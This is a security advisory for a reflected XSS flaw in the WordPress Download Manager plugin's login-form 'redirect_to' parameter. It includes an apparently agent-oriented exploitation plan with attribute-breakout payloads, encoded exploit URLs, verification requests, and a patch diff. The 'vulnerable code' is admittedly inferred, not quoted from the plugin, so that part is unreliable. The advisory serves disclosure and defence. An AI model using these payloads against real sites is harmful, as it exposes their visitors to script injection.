Download Manager <= 3.3.46 - Reflected Cross-Site Scripting via 'redirect_to' Parameter
Description
The Download Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'redirect_to' parameter in all versions up to, and including, 3.3.46. This is due to insufficient input sanitization and output escaping on the 'redirect_to' GET parameter in the login form shortcode. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.3.46Source Code
WordPress.org SVN# Research Plan: CVE-2026-1666 Reflected XSS in Download Manager ## 1. Vulnerability Summary The **Download Manager** plugin (<= 3.3.46) is vulnerable to Reflected Cross-Site Scripting (XSS) via the `redirect_to` GET parameter. This occurs because the plugin's login form shortcode retrieves the `re…
Show full research plan
Research Plan: CVE-2026-1666 Reflected XSS in Download Manager
1. Vulnerability Summary
The Download Manager plugin (<= 3.3.46) is vulnerable to Reflected Cross-Site Scripting (XSS) via the redirect_to GET parameter. This occurs because the plugin's login form shortcode retrieves the redirect_to value from the URL and reflects it into a hidden input field (or similar attribute) without sufficient sanitization or attribute escaping (e.g., missing esc_attr() or esc_url()). An attacker can provide a payload that breaks out of the HTML attribute to execute arbitrary JavaScript in the context of the victim's browser.
2. Attack Vector Analysis
- Endpoint: Any public-facing WordPress Page or Post containing the
[wpdm_login_form]shortcode. - Vulnerable Parameter:
redirect_to(GET). - Authentication Level: Unauthenticated. No login is required to trigger the reflection.
- Preconditions: A page must exist that renders the login form shortcode provided by the plugin.
- Payload: A string designed to break out of an HTML attribute, such as:
"><script>alert(document.domain)</script>.
3. Code Flow
- Entry Point: A user visits a URL such as
http://site.test/login-page/?redirect_to=PAYLOAD. - Shortcode Registration: The plugin registers the
[wpdm_login_form]shortcode (likely insrc/User/Shortcodes.phpordownload-manager.php). - Processing Logic: The shortcode callback function (e.g.,
WPDM\User\Shortcodes::loginForm()) is invoked. - Input Retrieval: Inside the shortcode handler or the associated view file (typically
src/User/views/login-form.php), the code checks for$_GET['redirect_to']. - Vulnerable Sink: The code reflects the value directly into the HTML output.
- Vulnerable Code (Inferred):
$redirect_to = isset($_GET['redirect_to']) ? $_GET['redirect_to'] : home_url(); echo '<input type="hidden" name="redirect_to" value="' . $redirect_to . '" />'; - Missing Protection: The
$redirect_tovariable is not wrapped inesc_attr()oresc_url().
- Vulnerable Code (Inferred):
4. Nonce Acquisition Strategy
This is a Reflected XSS vulnerability in a GET request that renders a form.
- Verification: Viewing a page and rendering a shortcode does not typically require a WordPress nonce.
- Action: No nonce is required for this exploitation. The payload is executed immediately upon the victim loading the malicious URL.
5. Exploitation Strategy
- Target Identification: Identify or create a page containing the
[wpdm_login_form]shortcode. - Payload Construction:
- Base Payload:
"><script>alert(document.domain)</script> - URL Encoded:
%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
- Base Payload:
- Execution:
- Use the
browser_navigatetool to visit the target page with the malicious parameter. - Example URL:
http://localhost:8080/wpdm-login/?redirect_to=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
- Use the
- Detection:
- Use
browser_evalto check if the script was successfully injected into the DOM. - Check if a specific global variable or "canary" set by the script exists.
- Use
6. Test Data Setup
- Install Plugin: Ensure
download-managerversion 3.3.46 is installed and active. - Create Vulnerable Page:
wp post create --post_type=page --post_title="Login" --post_status=publish --post_content='[wpdm_login_form]' - Verify Slug: Identify the URL of the newly created page (usually
/login/).
7. Expected Results
- When the page is loaded with the malicious
redirect_toparameter, the resulting HTML should contain:<input type="hidden" name="redirect_to" value=""><script>alert(document.domain)</script>" /> - The browser will execute the
<script>block, triggering the alert.
8. Verification Steps
- HTTP Response Check:
Use thehttp_requesttool to fetch the page and check the raw body for the unescaped payload.
Success Criteria: The response body contains the string{ "method": "GET", "url": "http://localhost:8080/login/?redirect_to=%22%3E%3Cscript%3Ealert(1)%3C/script%3E" }value=""><script>alert(1)</script>". - DOM Verification:
Usebrowser_evalto confirm the presence of the injected script tag or its side effects.// Check if the script tag exists in the DOM document.querySelector('script[src*="alert"]') !== null || document.body.innerHTML.includes('><script>alert')
9. Alternative Approaches
- Attribute Breakout via Events: If the
<script>tag is filtered (unlikely in this context), try an event handler breakout:- Payload:
x" onfocus="alert(1)" autofocus=" - URL:
?redirect_to=x%22%20onfocus%3D%22alert(1)%22%20autofocus%3D%22
- Payload:
- JavaScript URI: If the reflection is inside an
hreforactionattribute rather than avalueattribute:- Payload:
javascript:alert(1)
- Payload:
- HTML5 Autocomplete: If the input is visible, use
onmouseoveroronclickpayloads.
Summary
The Download Manager plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'redirect_to' GET parameter in the login form shortcode. Due to a lack of proper sanitization and output escaping, unauthenticated attackers can inject arbitrary web scripts into a hidden form field, which executes in the context of the user's browser when they visit a specially crafted link.
Vulnerable Code
// Inferred from plugin structure and research plan // src/User/views/login-form.php $redirect_to = isset($_GET['redirect_to']) ? $_GET['redirect_to'] : home_url(); ?> <input type="hidden" name="redirect_to" value="<?php echo $redirect_to; ?>" />
Security Fix
@@ -1,2 +1,2 @@ $redirect_to = isset($_GET['redirect_to']) ? $_GET['redirect_to'] : home_url(); -<input type="hidden" name="redirect_to" value="<?php echo $redirect_to; ?>" /> +<input type="hidden" name="redirect_to" value="<?php echo esc_url($redirect_to); ?>" />
Exploit Outline
1. Locate a WordPress page that renders the [wpdm_login_form] shortcode provided by the Download Manager plugin. 2. Create a malicious URL targeting that page with a payload in the 'redirect_to' parameter, such as: ?redirect_to="><script>alert(document.domain)</script> 3. Send the link to a target user. When the victim visits the link, the unescaped payload is reflected into the HTML source as a hidden input value, breaking out of the attribute and executing the script. 4. No authentication or nonces are required as the reflection occurs during the initial rendering of the public-facing login form.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.